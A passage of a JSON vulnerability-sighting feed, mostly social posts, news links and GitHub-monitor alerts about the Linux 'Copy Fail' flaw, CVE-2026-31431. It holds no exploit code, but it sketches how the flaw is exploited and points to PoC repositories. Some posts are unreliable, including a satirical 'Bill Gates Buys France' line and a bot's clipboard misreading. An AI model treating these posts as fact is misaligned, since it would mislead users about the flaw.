\u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 13:57:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T14:00:04.000000Z"}, {"uuid": "809b05cc-6339-45e6-aa89-b25566bea94f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/a3bc51ea1b488ff23e2733a1975eee72", "content": "", "creation_timestamp": "2026-05-04T15:10:04.000000Z"}, {"uuid": "1f66d444-509b-4289-b1dc-8b82df6a9111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mkzzcresg222", "content": "Attackers are exploiting CVE-2026-31431, aka Copy Fail, a long-standing Linux kernel flaw allowing privilege escalation to root via in-memory cache modification of setuid-root binaries. #LinuxFlaw #KernelBug #USA", "creation_timestamp": "2026-05-04T15:45:22.616772Z"}, {"uuid": "3f28076e-51e1-4f78-a4ee-6ad773eccf50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/calimegai.bsky.social/post/3ml226lewgw2l", "content": "CISA ajoute la faille Linux CVE-2026-31431, exploit\u00e9e en local pour escalade de privil\u00e8ges, \u00e0 son catalogue KEV. Plusieurs distrib Linux sont concern\u00e9es. Restez vigilants ! \ud83d\udd12\ud83d\udc27 #CyberSecurity #calimeg ", "creation_timestamp": "2026-05-04T16:00:56.140940Z"}, {"uuid": "82891b10-80b1-46fd-8f30-bcf89327dac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3ml22hqye7k24", "content": "Urgent: 'Copy Fail' vulnerability (CVE-2026-31431) in Linux kernels since 2017 allows root access to unprivileged users. Patch immediately to secure your systems. #Linux #CyberSecurity #CVE202631431 Link: thedailytechfeed.com/critical-lin...", "creation_timestamp": "2026-05-04T16:06:03.698001Z"}, {"uuid": "6b000c73-6277-430e-8c05-ea626527f7ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/dmc5179/701d2f649e64544e945a860a2ffca8ae", "content": "", "creation_timestamp": "2026-05-04T16:09:14.000000Z"}, {"uuid": "587b4912-9779-486a-840b-316697aa2271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml24b52qkj2h", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T16:38:08.664879Z"}, {"uuid": "4521916e-10e8-4523-bd47-0c53827814f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml24k3kog62i", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T16:43:08.971763Z"}, {"uuid": "bace5b3f-0c5d-4302-9a14-bce2686c43df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml25wryws52b", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:08:08.918120Z"}, {"uuid": "fada86af-9d73-4c63-8e5b-1860df7f7c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml26f6knaz2j", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:16:11.771114Z"}, {"uuid": "0c3a26c9-dfec-407c-8f6b-9ca2f5906ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml26o55c7o2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:21:12.685982Z"}, {"uuid": "451d4f93-a398-4e8f-9a7c-61d79065db20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml27a2umi72z", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T17:31:13.970667Z"}, {"uuid": "61d172de-9152-4663-8888-75931a3726d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ronan.mastodon.ronandev.ovh.ap.brid.gy/post/3ml277e5neia2", "content": "\"CopyFail\" (CVE-2026-31431) : un utilisateur local sans privil\u00e8ge peut \u00e9crire 4 bytes contr\u00f4l\u00e9s dans le cache de TOUT fichier lisible \u27a1\ufe0f \u00e9l\u00e9vation root. Si vous avez du multi-tenant, des conteneurs, des CI runners non fiables : mettre \u00e0 jour. Ordinateur perso ? Moins urgent mais mettez \u00e0 jour [\u2026]", "creation_timestamp": "2026-05-04T17:32:11.752508Z"}, {"uuid": "c558d3b2-1439-4c8a-ad59-ab2a9999ef4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ronan.mastodon.ronandev.ovh.ap.brid.gy/post/3ml277i4zi3m2", "content": "\"CopyFail\" (CVE-2026-31431) : un utilisateur local sans privil\u00e8ge peut \u00e9crire 4 bytes contr\u00f4l\u00e9s dans le cache de TOUT fichier lisible \u27a1\ufe0f \u00e9l\u00e9vation root.\n\nSi vous avez du multi-tenant, des conteneurs, des CI runners non fiables \u27a1\ufe0f mettre \u00e0 jour.\n\nOrdinateur perso \u27a1\ufe0f moins urgent mais mettez \u00e0 [\u2026]", "creation_timestamp": "2026-05-04T17:32:15.820758Z"}, {"uuid": "ba7d3283-c817-4087-946b-b5d3f7deb77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hexonbot.bsky.social/post/3ml27cjm5l52p", "content": "AI found a 9-year Linux kernel bug in 1 hour. Copy Fail gives any local user root with a 732-byte Python script and can break container isolation. Patch now. https://www.hexon.bot/blog/copy-fail-cve-2026-31431-ai-discovered-linux-root #LinuxSecurity #AISecurity", "creation_timestamp": "2026-05-04T17:32:36.316016Z"}, {"uuid": "94ff514c-c208-48d2-82fb-db2bac5b1421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml27qwgm6qt2", "content": "\"Copy Fail\" Lands on CISA's KEV: A Nine-Year-Old Linux Bug Becomes a Patch Deadline On May 1, 2026, CISA added CVE-2026-31431, better known as \"Copy Fail,\" to its Known Exploite...\n\n#News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-04T17:40:52.930455Z"}, {"uuid": "2c4951da-595d-4029-a3cd-072c0a22736d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vritrasecnews.bsky.social/post/3ml2a6l4v5w27", "content": "CISA warns of the actively exploited \u201cCopy Fail\u201d Linux flaw (CVE-2026-31431), enabling root...\n\n\ud83d\udd17 https://www.tomshardware.com/software/linux/cisa-flags-actively-exploited-copy-fail-linux-kernel-flaw-enabling-root-takeover-across-major-distros-unpatched-systems-may-remain-vulnerable-to-attack", "creation_timestamp": "2026-05-04T17:48:17.317917Z"}, {"uuid": "cb49147f-b038-43da-859b-c1a90cb6ecdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82790", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a AdityaBhatt3010\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 15:55:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux Privilege Escalation | AF_ALG Crypto Abuse \u2192 Exploiting AEAD socket handling (CVE-2026-31431) to gain root via kernel-level manipulation\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T16:00:05.000000Z"}, {"uuid": "60aa4e92-1d9e-431e-af4d-e0f11964d70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82795", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rippsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 16:59:26\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nc v e\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T17:00:04.000000Z"}, {"uuid": "8d716eb6-f302-4140-877b-5f681e995106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3ml2auoi22u2p", "content": "CVE-2026-31431: perch\u00e9 Linux Copy Fail preoccupa\nUna vulnerabilit\u00e0 nel kernel Linux, presente dal 2017, consente escalation a root manipolando la page cache. CISA e altri sogge...\nhttps://www.ilsoftware.it/vulnerabilita-linux-copy-fail-cve-2026-31431/", "creation_timestamp": "2026-05-04T18:00:39.649211Z"}, {"uuid": "c172485e-8af2-403d-8346-03fbbef94f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/XXwxQXb-tvoojVYSOrs5t4rzcGDASvn2l14g7pH1kZVhQSE", "content": "", "creation_timestamp": "2026-05-03T21:00:04.000000Z"}, {"uuid": "a120fb99-de2c-4d3d-b9bf-86a130973a18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31518", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:46:55.789113Z"}, {"uuid": "2e295ddc-ffb5-40cf-9391-cc3ba430afd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2d2d3idz2x", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T18:39:35.987754Z"}, {"uuid": "53afef64-42d4-4998-afe9-7930b3bcdd9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2e4w4vwn22", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T18:58:56.973169Z"}, {"uuid": "b28347b4-7e44-42c9-9e8a-4bbc5d35c431", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sebclick.bsky.social/post/3ml2e7lqlqc2z", "content": "Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux www.linuxtricks.fr/news/10-logi...", "creation_timestamp": "2026-05-04T19:00:30.193234Z"}, {"uuid": "38b840b2-9cb5-42c7-872a-94f42c5ae298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3ml2gfw3csci2", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments A high-severity Linux vulnerability, \u201cCopy Fail\u201d (CVE-2026-31431), enables root privile...\n\n#Linux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-04T19:39:49.302500Z"}, {"uuid": "ef150ce2-e667-4c8e-b705-9196bd158c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Sagreras/8b433fc36ef0b27726c0ff435a8a5638", "content": "", "creation_timestamp": "2026-05-04T20:11:04.000000Z"}, {"uuid": "44a1b56e-b23f-4660-a722-6b42d6f48f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dietpi.com/post/3ml2j33d3wc2r", "content": "We gathered all info about how to mitigate the recently disclosed CVE-2026-31431 aka \"Copy Fail\" on #DietPi systems.\n\nPlease read through this, to assure your system is not vulnerable: github.com/MichaIng/Die...\n\nThe same applies to every other Linux system!\n\n#CopyFail #Security #Linux", "creation_timestamp": "2026-05-04T20:27:24.885816Z"}, {"uuid": "458a157b-9282-4ea8-b038-8a1606b108f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dietpi.com/post/3ml2j6tyr6222", "content": "We gathered all info about how to mitigate the recently disclosed CVE-2026-31431 aka \"Copy Fail\" on #DietPi systems.\n\nPlease read through this, to assure your system is not vulnerable: github.com/MichaIng/Die...\n\nThe same applies to every other Linux system!\n\n#CopyFail #Security #Linux", "creation_timestamp": "2026-05-04T20:29:30.832424Z"}, {"uuid": "fd0d860b-8e04-430b-b833-67155eb0986a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/byroniac.bsky.social/post/3ml2mulryyc2q", "content": "\"CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments\" www.microsoft.com/en-us/securi...", "creation_timestamp": "2026-05-04T21:35:23.455106Z"}, {"uuid": "ffec2d95-fb83-4121-a6a0-ba183394cf5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/philbraun.org/post/3ml2ngwlppc22", "content": "April 8, 2026 - France's Interministerial Directorate for Digital Affairs Switched from Microsoft to Linux\nApril 29, 2026 - CVE-2026-31431 bug is disclosed with capability to get root access on nearly every major Linux distro\nMay 20, 2026 - Bill Gates Buys France to Stop Economic Collapse\n#copyfail", "creation_timestamp": "2026-05-04T21:45:38.113179Z"}, {"uuid": "1c454b11-5a33-4025-adf8-fdb4fb7912cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "Cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mineabot.xyz/post/3ml2oat3m3g25", "content": "Cve-2026-31431, dubbed Copy Fail, is drawing attention from the selfhosted community. Worth a closer look for teams relying on clipboard-based workflows or any tooling where copy operations cross trust boundaries. Patch management discipline matters here.\n\n#devops #cloud #k8s", "creation_timestamp": "2026-05-04T22:00:05.730271Z"}, {"uuid": "6d88a1e2-6328-4766-98ca-3711e572fad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jcastanedacano.bsky.social/post/3ml2oc5iwhx2t", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments", "creation_timestamp": "2026-05-04T22:00:49.674428Z"}, {"uuid": "126054d7-adab-4769-a87d-2400490e2a49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linuxbp.bsky.social/post/3ml2pb4a44c2j", "content": "Vulnerabilidad cr\u00edtica en Linux \ud83d\udea8 Copy Fail (CVE-2026-31431) permite escalar a root desde un usuario sin privilegios. Silenciosa, potente y presente desde 2017. Actualizar el kernel es clave para protegerte. #Linux #Ciberseguridad #Kernel Mas info en mi blog", "creation_timestamp": "2026-05-04T22:18:08.903462Z"}, {"uuid": "03c7ed3f-4d7e-4943-a9b5-3440f1e8098b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/d40a1dc8ac4ee266441c61907c67812d", "content": "", "creation_timestamp": "2026-05-04T22:32:09.000000Z"}, {"uuid": "38faa0b7-3794-4921-b183-d809f8618ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82814", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KhaosFarbauti\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 21:54:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T22:00:04.000000Z"}, {"uuid": "9d73794b-aff0-4fc6-a234-69c65240594b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3ml2rmqclgb2t", "content": "Active exploitation targets include cPanel flaw CVE-2026-41940 allowing authentication bypass, Linux Copy Fail CVE-2026-31431, and ongoing supply-chain attacks by TeamPCP impacting CI/CD and SaaS environments. #LinuxKernel #SupplyChain #USA", "creation_timestamp": "2026-05-04T23:00:27.076966Z"}, {"uuid": "645888fa-5c6b-48f8-a3a4-303361423f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/humanghostemoji.bsky.social/post/3ml2sg3y6vy23", "content": "US warns CopyFail bug (CVE-2026-31431) hits Linux 7.0 & earlier, exploited in the wild. Patch by May 15. #Linux #security\ntechcrunch.com/2026/05/04/u...", "creation_timestamp": "2026-05-04T23:14:37.784190Z"}, {"uuid": "a157e6ba-5489-4a09-90aa-27b2bf8362e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2swnj7rl2x", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T23:23:52.853138Z"}, {"uuid": "b92aa46a-d94b-4a4b-bf20-dbac08b9029d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82820", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a check-copyfail-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Silent4Labs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 22:50:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only Linux Bash script to assess host exposure to CVE-2026-31431 (Copy Fail).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T23:00:05.000000Z"}, {"uuid": "d67ba9be-2ca7-4747-9b36-29b69a40c459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31521", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:46:58.305045Z"}, {"uuid": "6faac5f6-effc-4d4c-9ab9-2b4b6b7c36d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31524", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:48:05.231870Z"}, {"uuid": "6514a985-cb8b-416e-820f-f33e3ba4be4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:48:09.806227Z"}, {"uuid": "7b233e77-1920-4aab-a087-a187e4f75080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3ml2v4ownap23", "content": "U.S. government warns of severe CopyFail bug affecting major versions of Linux: The U.S. government has issued an urgent warning regarding \"CopyFail,\" a severe security vulnerability tracked as CVE-2026-31431 affecting Linux kernel versions 7.0 and earlier. Discovered\u2026 https://ranked.news/763195?u=b", "creation_timestamp": "2026-05-05T00:03:03.956033Z"}, {"uuid": "83a33e6b-9adb-4bdb-a74b-ba62bc2d0163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gagadgetespana.bsky.social/post/3ml2zbestff2c", "content": "La vulnerabilidad CVE-2026-31431 afecta a la mayor\u00eda de distribuciones Linux modernas y ya est\u00e1 siendo explotada activamente. CERT-EU exige actuaciones inmediatas en operadores y administraciones.", "creation_timestamp": "2026-05-05T01:17:15.599393Z"}, {"uuid": "e7656cfb-a0b6-49eb-8610-4a7b2732e48e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gagadgetde.bsky.social/post/3ml2zbky4qb2v", "content": "CVE-2026-31431 betrifft nahezu alle g\u00e4ngigen Linux-Distributionen seit 2017 \u2013 Patches sind verf\u00fcgbar, aber noch nicht \u00fcberall eingespielt.", "creation_timestamp": "2026-05-05T01:17:22.844627Z"}, {"uuid": "1d728967-1f30-4a74-b10e-5344cfa6b31d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gagadgetfr.bsky.social/post/3ml2zcadfnt2f", "content": "La vuln\u00e9rabilit\u00e9 CVE-2026-31431, activement exploit\u00e9e depuis fin avril, touche Ubuntu, RHEL, Amazon Linux et les environnements Kubernetes. Les op\u00e9rateurs cloud et h\u00e9bergeurs fran\u00e7ais doivent agir sans d\u00e9lai.", "creation_timestamp": "2026-05-05T01:17:44.422371Z"}, {"uuid": "555482ca-a451-4862-bf78-eee25510272e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3ml2zokdr2d2j", "content": "Critical Linux Kernel \u201cCopy Fail\u201d Flaw Sparks Global Root Access Panic Across Major\u00a0Distros\n\nIntroduction: A Silent Kernel-Level Weakness With Explosive Consequences A newly identified Linux kernel vulnerability, tracked as CVE-2026-31431 and nicknamed \u201cCopy Fail,\u201d has triggered serious concern\u2026", "creation_timestamp": 